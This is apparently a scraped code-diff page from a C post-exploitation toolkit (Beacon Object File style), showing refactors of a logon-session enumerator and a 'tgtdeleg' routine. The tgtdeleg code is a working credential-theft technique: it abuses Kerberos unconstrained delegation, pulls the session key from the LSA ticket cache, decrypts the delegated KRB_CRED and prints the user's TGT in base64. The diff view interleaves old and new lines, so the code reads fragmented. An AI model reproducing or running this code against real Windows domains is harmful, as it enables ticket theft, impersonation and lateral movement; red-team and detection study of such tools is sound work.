||||
break;
|
||||
case LOGON32_LOGON_NEW_CREDENTIALS:
|
||||
logonType = "New_Credentials";
|
||||
break;
|
||||
default:
|
||||
logonType = "(0)";
|
||||
break;
|
||||
void GetLogonTypeString(ULONG uLogonType, char **logonTypeString)
|
||||
{
|
||||
char *types[10] = {
|
||||
"(0)",
|
||||
"(1)",
|
||||
"Interactive (2)",
|
||||
"Network (3)",
|
||||
"Batch (4)",
|
||||
"Service (5)",
|
||||
"(6)",
|
||||
"Unlock (7)",
|
||||
"Network_Cleartext (8)",
|
||||
"New_Credentials (9)"};
|
||||
|
||||
*logonTypeString = MSVCRT$malloc(24 * sizeof(char));
|
||||
if (*logonTypeString == NULL)
|
||||
{
|
||||
return;
|
||||
}
|
||||
return logonType;
|
||||
for (int i = 0; i < 10; i++)
|
||||
{
|
||||
if (i == uLogonType)
|
||||
{
|
||||
_strcpy(*logonTypeString, types[i]);
|
||||
return;
|
||||
}
|
||||
}
|
||||
_strcpy(*logonTypeString, "(unknown)\0");
|
||||
}
|
||||
|
||||
void PrintLogonSessionData(WCHAR** dispatch, SECURITY_LOGON_SESSION_DATA data) {
|
||||
WCHAR* sid = NULL;
|
||||
PRINT(dispatch, "UserName : %.*s\n", data.UserName.Length / (int)sizeof(char),
|
||||
GetNarrowString(data.UserName.Buffer));
|
||||
PRINT(dispatch, "Domain : %.*s\n", data.LogonDomain.Length / (int)sizeof(char),
|
||||
GetNarrowString(data.LogonDomain.Buffer));
|
||||
PRINT(dispatch, "LogonId : %lx:0x%lx\n", data.LogonId.HighPart, data.LogonId.LowPart);
|
||||
PRINT(dispatch, "Session : %ld\n", data.Session);
|
||||
if (ADVAPI32$ConvertSidToStringSidW(data.Sid, &sid)) {
|
||||
PRINT(dispatch, "UserSID : %s\n", GetNarrowString(sid));
|
||||
} else {
|
||||
PRINT(dispatch, "UserSID : -\n");
|
||||
void PrintLogonSessionData(SECURITY_LOGON_SESSION_DATA data, char **sessionString)
|
||||
{
|
||||
char *fmt = "UserName : %s\n"
|
||||
"Domain : %s\n"
|
||||
"LogonId : %lx:0x%lx\n"
|
||||
"Session : %ld\n"
|
||||
"UserSID : %s\n"
|
||||
"Authentication package : %s\n"
|
||||
"LogonType : %s\n"
|
||||
"LogonTime (UTC) : %d/%d/%d %d:%d:%d\n"
|
||||
"LogonServer : %s\n"
|
||||
"LogonServerDNSDomain : %s\n"
|
||||
"UserPrincipalName : %s\n";
|
||||
|
||||
ANSI_STRING userName = {0};
|
||||
ANSI_STRING domain = {0};
|
||||
ANSI_STRING authPack = {0};
|
||||
ANSI_STRING logonServer = {0};
|
||||
ANSI_STRING logonServerDNSDomain = {0};
|
||||
ANSI_STRING upn = {0};
|
||||
|
||||
NTDLL$RtlUnicodeStringToAnsiString(&userName, &data.UserName, TRUE);
|
||||
NTDLL$RtlUnicodeStringToAnsiString(&domain, &data.LogonDomain, TRUE);
|
||||
NTDLL$RtlUnicodeStringToAnsiString(&authPack, &data.AuthenticationPackage, TRUE);
|
||||
NTDLL$RtlUnicodeStringToAnsiString(&logonServer, &data.LogonServer, TRUE);
|
||||
NTDLL$RtlUnicodeStringToAnsiString(&logonServerDNSDomain, &data.DnsDomainName, TRUE);
|
||||
NTDLL$RtlUnicodeStringToAnsiString(&upn, &data.Upn, TRUE);
|
||||
char *sid = NULL;
|
||||
if (!ADVAPI32$ConvertSidToStringSidA(data.Sid, &sid))
|
||||
{
|
||||
sid = "-";
|
||||
}
|
||||
PRINT(dispatch, "Authentication package : %.*s\n", data.AuthenticationPackage.Length / (int)sizeof(char),
|
||||
GetNarrowString(data.AuthenticationPackage.Buffer));
|
||||
char* logonType = GetLogonTypeString(data.LogonType);
|
||||
PRINT(dispatch, "LogonType : %s\n", logonType);
|
||||
char *logonType = NULL;
|
||||
GetLogonTypeString(data.LogonType, &logonType);
|
||||
SYSTEMTIME st_utc = ConvertToSystemtime(data.LogonTime);
|
||||
PRINT(dispatch, "LogonTime (UTC) : %d/%d/%d %d:%d:%d\n", st_utc.wDay, st_utc.wMonth, st_utc.wYear,
|
||||
st_utc.wHour, st_utc.wMinute, st_utc.wSecond);
|
||||
PRINT(dispatch, "LogonServer : %.*s\n", data.LogonServer.Length / (int)sizeof(char),
|
||||
GetNarrowString(data.LogonServer.Buffer));
|
||||
PRINT(dispatch, "LogonServerDNSDomain : %.*s\n", data.DnsDomainName.Length / (int)sizeof(char),
|
||||
GetNarrowString(data.DnsDomainName.Buffer));
|
||||
PRINT(dispatch, "UserPrincipalName : %.*s\n", data.Upn.Length / (int)sizeof(char),
|
||||
GetNarrowString(data.Upn.Buffer));
|
||||
int size = _strlen(fmt) +
|
||||
userName.Length +
|
||||
domain.Length +
|
||||
24 + 16 +
|
||||
_strlen(sid) +
|
||||
authPack.Length +
|
||||
32 +
|
||||
logonServer.Length +
|
||||
logonServerDNSDomain.Length +
|
||||
upn.Length + 1;
|
||||
if (logonType != NULL)
|
||||
{
|
||||
size += _strlen(logonType);
|
||||
}
|
||||
*sessionString = MSVCRT$malloc(size * sizeof(char));
|
||||
if (*sessionString == NULL)
|
||||
{
|
||||
goto end;
|
||||
}
|
||||
HRESULT result = _StringCchPrintfExA(*sessionString, size, NULL, NULL, STRSAFE_IGNORE_NULLS, fmt,
|
||||
userName.Buffer,
|
||||
domain.Buffer,
|
||||
data.LogonId.HighPart, data.LogonId.LowPart,
|
||||
data.Session,
|
||||
sid,
|
||||
authPack.Buffer,
|
||||
logonType,
|
||||
st_utc.wDay, st_utc.wMonth, st_utc.wYear, st_utc.wHour, st_utc.wMinute, st_utc.wSecond,
|
||||
logonServer.Buffer,
|
||||
logonServerDNSDomain.Buffer,
|
||||
upn.Buffer);
|
||||
if (FAILED(result))
|
||||
{
|
||||
MSVCRT$free(*sessionString);
|
||||
*sessionString = NULL;
|
||||
}
|
||||
end:
|
||||
NTDLL$RtlFreeAnsiString(&userName);
|
||||
NTDLL$RtlFreeAnsiString(&domain);
|
||||
NTDLL$RtlFreeAnsiString(&authPack);
|
||||
NTDLL$RtlFreeAnsiString(&logonServer);
|
||||
NTDLL$RtlFreeAnsiString(&logonServerDNSDomain);
|
||||
NTDLL$RtlFreeAnsiString(&upn);
|
||||
if (logonType != NULL)
|
||||
{
|
||||
MSVCRT$free(logonType);
|
||||
}
|
||||
}
|
||||
+176
-78
@@ -1,36 +1,46 @@
|
||||
#include "tgtdeleg.h"
|
||||
|
||||
LONG RequestApReq(char* spn, PUCHAR* apreq, PULONG apreqSize, BOOL checkDelegate) {
|
||||
LONG RequestApReq(char *spn, PUCHAR *apreq, PULONG apreqSize, BOOL checkDelegate)
|
||||
{
|
||||
CredHandle hCred;
|
||||
TimeStamp timeStamp;
|
||||
SECURITY_STATUS status = SECUR32$AcquireCredentialsHandleA(NULL, "Kerberos", SECPKG_CRED_OUTBOUND, NULL, NULL, 0,
|
||||
NULL, &hCred, &timeStamp);
|
||||
if (status == SEC_E_OK) {
|
||||
if (status == SEC_E_OK)
|
||||
{
|
||||
CtxtHandle hCtx;
|
||||
SecBuffer secBuf = {0, SECBUFFER_TOKEN, NULL};
|
||||
SecBufferDesc secBufDesc = {SECBUFFER_VERSION, 1, &secBuf};
|
||||
ULONG contextAttr;
|
||||
status = SECUR32$InitializeSecurityContextA(
|
||||
&hCred, NULL, (SEC_CHAR*)spn, ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_DELEGATE | ISC_REQ_MUTUAL_AUTH, 0,
|
||||
&hCred, NULL, (SEC_CHAR *)spn, ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_DELEGATE | ISC_REQ_MUTUAL_AUTH, 0,
|
||||
SECURITY_NATIVE_DREP, NULL, 0, &hCtx, &secBufDesc, &contextAttr, NULL);
|
||||
if (status == SEC_E_OK || status == SEC_I_CONTINUE_NEEDED) {
|
||||
if (status == SEC_E_OK || status == SEC_I_CONTINUE_NEEDED)
|
||||
{
|
||||
BOOL condition = checkDelegate ? (contextAttr & ISC_REQ_DELEGATE) : TRUE;
|
||||
if (condition) {
|
||||
if (condition)
|
||||
{
|
||||
PUCHAR out = (PUCHAR)MSVCRT$calloc(secBuf.cbBuffer, sizeof(UCHAR));
|
||||
if (out != NULL) {
|
||||
if (out != NULL)
|
||||
{
|
||||
_memcpy(out, secBuf.pvBuffer, secBuf.cbBuffer);
|
||||
*apreq = out;
|
||||
*apreqSize = secBuf.cbBuffer;
|
||||
if (secBuf.pvBuffer) {
|
||||
if (secBuf.pvBuffer)
|
||||
{
|
||||
SECUR32$FreeContextBuffer(secBuf.pvBuffer);
|
||||
}
|
||||
status = 0;
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
status = STATUS_MEMORY_NOT_ALLOCATED;
|
||||
}
|
||||
SECUR32$DeleteSecurityContext(&hCtx);
|
||||
} else {
|
||||
status = SEC_E_TARGET_UNKNOWN; // not allowed to delegate
|
||||
}
|
||||
else
|
||||
{
|
||||
status = SEC_E_TARGET_UNKNOWN; // not allowed to delegate
|
||||
}
|
||||
}
|
||||
SECUR32$FreeCredentialsHandle(&hCred);
|
||||
@@ -38,22 +48,27 @@ LONG RequestApReq(char* spn, PUCHAR* apreq, PULONG apreqSize, BOOL checkDelegate
|
||||
return status;
|
||||
}
|
||||
|
||||
NTSTATUS GetKeyFromCache(char* target, LONG encType, PUCHAR* key, PULONG keySize) {
|
||||
NTSTATUS GetKeyFromCache(char *target, LONG encType, PUCHAR *key, PULONG keySize)
|
||||
{
|
||||
HANDLE hLsa;
|
||||
*key = NULL;
|
||||
NTSTATUS status = GetLsaHandle(FALSE, &hLsa);
|
||||
if (NT_SUCCESS(status)) {
|
||||
if (NT_SUCCESS(status))
|
||||
{
|
||||
ULONG authPackage;
|
||||
LSA_STRING krbAuth = {.Buffer = "kerberos", .Length = 8, .MaximumLength = 9};
|
||||
status = SECUR32$LsaLookupAuthenticationPackage(hLsa, &krbAuth, &authPackage);
|
||||
if (NT_SUCCESS(status)) {
|
||||
WCHAR* wTarget = GetWideString(target);
|
||||
if (wTarget != NULL) {
|
||||
if (NT_SUCCESS(status))
|
||||
{
|
||||
WCHAR *wTarget = GetWideString(target);
|
||||
if (wTarget != NULL)
|
||||
{
|
||||
USHORT dwTarget = (_wcslen(wTarget) + 1) * sizeof(WCHAR);
|
||||
ULONG requestSize = dwTarget + sizeof(KERB_RETRIEVE_TKT_REQUEST);
|
||||
PKERB_RETRIEVE_TKT_REQUEST request =
|
||||
(PKERB_RETRIEVE_TKT_REQUEST)MSVCRT$calloc(requestSize, sizeof(KERB_RETRIEVE_TKT_REQUEST));
|
||||
if (request != NULL) {
|
||||
if (request != NULL)
|
||||
{
|
||||
request->MessageType = KerbRetrieveEncodedTicketMessage;
|
||||
request->CacheOptions = KERB_RETRIEVE_TICKET_USE_CACHE_ONLY;
|
||||
request->EncryptionType = encType;
|
||||
@@ -66,36 +81,54 @@ NTSTATUS GetKeyFromCache(char* target, LONG encType, PUCHAR* key, PULONG keySize
|
||||
status = SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, request, requestSize, &response,
|
||||
&requestSize, &protocolStatus);
|
||||
MSVCRT$free(request);
|
||||
if (NT_SUCCESS(status)) {
|
||||
if (NT_SUCCESS(protocolStatus)) {
|
||||
if (requestSize > 0) {
|
||||
char* out = (char*)MSVCRT$calloc(response->Ticket.SessionKey.Length, sizeof(char));
|
||||
if (out != NULL) {
|
||||
if (NT_SUCCESS(status))
|
||||
{
|
||||
if (NT_SUCCESS(protocolStatus))
|
||||
{
|
||||
if (requestSize > 0)
|
||||
{
|
||||
char *out = (char *)MSVCRT$calloc(response->Ticket.SessionKey.Length, sizeof(char));
|
||||
if (out != NULL)
|
||||
{
|
||||
_memcpy(out, response->Ticket.SessionKey.Value,
|
||||
response->Ticket.SessionKey.Length);
|
||||
response->Ticket.SessionKey.Length);
|
||||
*key = out;
|
||||
*keySize = response->Ticket.SessionKey.Length;
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
status = STATUS_MEMORY_NOT_ALLOCATED;
|
||||
}
|
||||
SECUR32$LsaFreeReturnBuffer(&response);
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
status = ADVAPI32$LsaNtStatusToWinError(status);
|
||||
}
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
status = ADVAPI32$LsaNtStatusToWinError(status);
|
||||
}
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
status = ADVAPI32$LsaNtStatusToWinError(status);
|
||||
}
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
status = STATUS_MEMORY_NOT_ALLOCATED;
|
||||
}
|
||||
MSVCRT$free(wTarget);
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
status = STATUS_MEMORY_NOT_ALLOCATED;
|
||||
}
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
status = ADVAPI32$LsaNtStatusToWinError(status);
|
||||
}
|
||||
SECUR32$LsaDeregisterLogonProcess(hLsa);
|
||||
@@ -104,24 +137,31 @@ NTSTATUS GetKeyFromCache(char* target, LONG encType, PUCHAR* key, PULONG keySize
|
||||
return status;
|
||||
}
|
||||
|
||||
NTSTATUS KerberosDecrypt(DWORD keyUsage, KERB_ENCRYPTION_KEY* key, ASN1octetstring_t* in, ASN1octetstring_t* out) {
|
||||
NTSTATUS KerberosDecrypt(DWORD keyUsage, KERB_ENCRYPTION_KEY *key, ASN1octetstring_t *in, ASN1octetstring_t *out)
|
||||
{
|
||||
NTSTATUS status;
|
||||
PKERB_ECRYPT pEcrypt;
|
||||
PVOID pContext;
|
||||
|
||||
status = CRYPTDLL$CDLocateCSystem(key->keytype, &pEcrypt);
|
||||
if (status == 0) {
|
||||
if (status == 0)
|
||||
{
|
||||
status = pEcrypt->Initialize(key->keyvalue.value, key->keyvalue.length, keyUsage, &pContext);
|
||||
if (status == 0) {
|
||||
if (status == 0)
|
||||
{
|
||||
out->length = in->length;
|
||||
out->value = MSVCRT$calloc(out->length, sizeof(unsigned char));
|
||||
if (out->value != NULL) {
|
||||
status = pEcrypt->Decrypt(pContext, in->value, in->length, out->value, (DWORD*)&out->length);
|
||||
if (status != 0) {
|
||||
if (out->value != NULL)
|
||||
{
|
||||
status = pEcrypt->Decrypt(pContext, in->value, in->length, out->value, (DWORD *)&out->length);
|
||||
if (status != 0)
|
||||
{
|
||||
MSVCRT$free(out->value);
|
||||
out->value = NULL;
|
||||
}
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
status = KERNEL32$GetLastError();
|
||||
}
|
||||
pEcrypt->Finish(&pContext);
|
||||
@@ -132,144 +172,202 @@ NTSTATUS KerberosDecrypt(DWORD keyUsage, KERB_ENCRYPTION_KEY* key, ASN1octetstri
|
||||
}
|
||||
|
||||
// kekeo/modules/kull_m_memory.c
|
||||
PVOID MemorySearch(LPCVOID pattern, SIZE_T pSize, LPCVOID buf, SIZE_T bSize) {
|
||||
PVOID MemorySearch(LPCVOID pattern, SIZE_T pSize, LPCVOID buf, SIZE_T bSize)
|
||||
{
|
||||
BOOL status = FALSE;
|
||||
PBYTE result = NULL;
|
||||
PBYTE current = (PBYTE)buf + bSize;
|
||||
PBYTE limit = current;
|
||||
|
||||
for (current = (PBYTE)buf; !status && (current + pSize <= limit); current++) {
|
||||
for (current = (PBYTE)buf; !status && (current + pSize <= limit); current++)
|
||||
{
|
||||
status = !_memcmp(pattern, current, pSize);
|
||||
}
|
||||
if (status) {
|
||||
if (status)
|
||||
{
|
||||
result = current - 1;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
PBYTE SearchOID(LPCVOID data, SIZE_T size) {
|
||||
PBYTE SearchOID(LPCVOID data, SIZE_T size)
|
||||
{
|
||||
byte krbv5[] = {0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x12, 0x01, 0x02, 0x02}; /* 1.2.840.113554.1.2.2 */
|
||||
PBYTE res = (PBYTE)MemorySearch(krbv5, 11, data, size);
|
||||
if (res != NULL) {
|
||||
if (res != NULL)
|
||||
{
|
||||
res += 11;
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
void execute_tgtdeleg(WCHAR** dispatch, char* spn) {
|
||||
void execute_tgtdeleg(WCHAR **dispatch, char *spn)
|
||||
{
|
||||
PUCHAR apreq;
|
||||
ULONG apreqSize;
|
||||
LONG status = RequestApReq(spn, &apreq, &apreqSize, TRUE);
|
||||
if (status == 0) {
|
||||
if (status == 0)
|
||||
{
|
||||
PBYTE tokID = SearchOID(apreq, apreqSize);
|
||||
if (*(PUSHORT)tokID == 0x0001) {
|
||||
if (*(PUSHORT)tokID == 0x0001)
|
||||
{
|
||||
PRINT(dispatch, "[*] Found the AP-REQ delegation ticket in the GSS-API output\n");
|
||||
PKERB_AP_REQUEST apRequest;
|
||||
KERBERR kerbError;
|
||||
apreqSize -= (LONG)(tokID - (PBYTE)apreq);
|
||||
ASN1module_t module = KRB5_Module_Startup();
|
||||
if (module != NULL) {
|
||||
if (module != NULL)
|
||||
{
|
||||
kerbError = KerbUnpackData(module, tokID + sizeof(SHORT), apreqSize, KERB_AP_REQUEST_PDU, &apRequest);
|
||||
if (KERB_SUCCESS(kerbError)) {
|
||||
if (KERB_SUCCESS(kerbError))
|
||||
{
|
||||
int apReqAuthType = apRequest->authenticator.encryption_type;
|
||||
PRINT(dispatch, "[*] Authenticator etype: %s\n", GetEncryptionTypeString(apReqAuthType));
|
||||
char *encTypeString = NULL;
|
||||
GetEncryptionTypeString(apReqAuthType, &encTypeString);
|
||||
if (encTypeString != NULL)
|
||||
{
|
||||
PRINT(dispatch, "[*] Authenticator etype: %s\n", encTypeString);
|
||||
MSVCRT$free(encTypeString);
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINT(dispatch, "[!] Unable to get encryption type.\n");
|
||||
}
|
||||
PUCHAR key;
|
||||
ULONG keySize;
|
||||
status = GetKeyFromCache(spn, apReqAuthType, &key, &keySize);
|
||||
if (NT_SUCCESS(status)) {
|
||||
if (NT_SUCCESS(status))
|
||||
{
|
||||
PRINT(dispatch, "[*] Successfully extracted the service ticket session key\n");
|
||||
ASN1octetstring_t authenticatorPacked;
|
||||
KERB_ENCRYPTION_KEY encKey = {
|
||||
.keytype = apReqAuthType, .keyvalue.length = keySize, .keyvalue.value = key};
|
||||
status = KerberosDecrypt(KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR, &encKey,
|
||||
&apRequest->authenticator.cipher_text, &authenticatorPacked);
|
||||
if (NT_SUCCESS(status)) {
|
||||
if (NT_SUCCESS(status))
|
||||
{
|
||||
PRINT(dispatch, "[*] Successfully decrypted authenticator\n");
|
||||
KERB_AUTHENTICATOR* authenticator;
|
||||
KERB_AUTHENTICATOR *authenticator;
|
||||
kerbError = KerbUnpackData(module, authenticatorPacked.value, authenticatorPacked.length,
|
||||
KERB_AUTHENTICATOR_PDU, &authenticator);
|
||||
if (KERB_SUCCESS(kerbError)) {
|
||||
if (authenticator->bit_mask & checksum_present) {
|
||||
if (KERB_SUCCESS(kerbError))
|
||||
{
|
||||
if (authenticator->bit_mask & checksum_present)
|
||||
{
|
||||
// GSS_CHECKSUM_TYPE
|
||||
if (authenticator->checksum.checksum_type == 0x8003) {
|
||||
KERB_GSS_CHECKSUM* checksum =
|
||||
(KERB_GSS_CHECKSUM*)authenticator->checksum.checksum.value;
|
||||
if (authenticator->checksum.checksum_type == 0x8003)
|
||||
{
|
||||
KERB_GSS_CHECKSUM *checksum =
|
||||
(KERB_GSS_CHECKSUM *)authenticator->checksum.checksum.value;
|
||||
// GSS_C_DELEG_FLAG
|
||||
if (checksum->GssFlags & 0x01) {
|
||||
KERB_CRED* cred;
|
||||
if (checksum->GssFlags & 0x01)
|
||||
{
|
||||
KERB_CRED *cred;
|
||||
kerbError =
|
||||
KerbUnpackData(module, checksum->DelegationInfo,
|
||||
checksum->DelegationLength, KERB_CRED_PDU, &cred);
|
||||
if (KERB_SUCCESS(kerbError)) {
|
||||
if (KERB_SUCCESS(kerbError))
|
||||
{
|
||||
status = KerberosDecrypt(KRB_KEY_USAGE_KRB_CRED_ENCRYPTED_PART, &encKey,
|
||||
&cred->encrypted_part.cipher_text,
|
||||
&authenticatorPacked);
|
||||
if (NT_SUCCESS(status)) {
|
||||
if (NT_SUCCESS(status))
|
||||
{
|
||||
cred->encrypted_part.encryption_type = 0;
|
||||
cred->encrypted_part.cipher_text =
|
||||
*(ASN1octetstring_t*)&authenticatorPacked;
|
||||
*(ASN1octetstring_t *)&authenticatorPacked;
|
||||
PUCHAR encodedData;
|
||||
ULONG encodedSize;
|
||||
kerbError = KerbPackData(module, cred, KERB_CRED_PDU, &encodedSize,
|
||||
&encodedData);
|
||||
if (KERB_SUCCESS(kerbError)) {
|
||||
if (KERB_SUCCESS(kerbError))
|
||||
{
|
||||
int b64Len = Base64encode_len(encodedSize);
|
||||
char* encoded = (char*)MSVCRT$calloc(b64Len, sizeof(char));
|
||||
if (encoded != NULL) {
|
||||
char *encoded = (char *)MSVCRT$calloc(b64Len, sizeof(char));
|
||||
if (encoded != NULL)
|
||||
{
|
||||
Base64encode(encoded, encodedData, encodedSize);
|
||||
PRINT(dispatch, "[+] Successfully extracted TGT: %s\n",
|
||||
encoded);
|
||||
return;
|
||||
MSVCRT$free(encoded);
|
||||
} else {
|
||||
return;
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINT(dispatch, "[!] Could not allocate memory.\n");
|
||||
}
|
||||
MSVCRT$free(encodedData);
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINT(dispatch, "[!] Failed to pack plain KRB_CRED: 0x%x\n",
|
||||
kerbError);
|
||||
}
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINT(dispatch, "[!] Failed to decrypt KRB_CRED: 0x%x\n", status);
|
||||
}
|
||||
KerbFreeData(module, KERB_CRED_PDU, cred);
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINT(dispatch, "[!] Failed to unpack KRB_CRED\n");
|
||||
}
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINT(dispatch, "[!] Missing delegation flag\n");
|
||||
}
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINT(dispatch, "[!] Wrong checksum type\n");
|
||||
}
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINT(dispatch, "[!] Missing checksum in the authentticator\n");
|
||||
}
|
||||
KerbFreeData(module, KERB_AUTHENTICATOR_PDU, authenticator);
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINT("[!] Failed to unpack authenticator: 0x%x\n", kerbError);
|
||||
}
|
||||
MSVCRT$free(&authenticatorPacked);
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINT(dispatch, "[!] Unable to decrypt authenticator: 0x%x\n", status);
|
||||
}
|
||||
MSVCRT$free(key);
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINT(dispatch, "[!] Could not obtain the key from cache: 0x%x\n", status);
|
||||
}
|
||||
KerbFreeData(module, KERB_AP_REQUEST_PDU, apRequest);
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINT(dispatch, "[!] Failed to unpack AP-REQ: 0x%x\n", kerbError);
|
||||
}
|
||||
KRB5_Module_Cleanup(module);
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINT(dispatch, "[!] Could not create ASN.1 module\n");
|
||||
}
|
||||
MSVCRT$free(apreq);
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINT(dispatch, "[!] Kerberos OID not found\n");
|
||||
}
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINT(dispatch, "[!] Failed to request AP-REQ: 0x%x\n", status);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user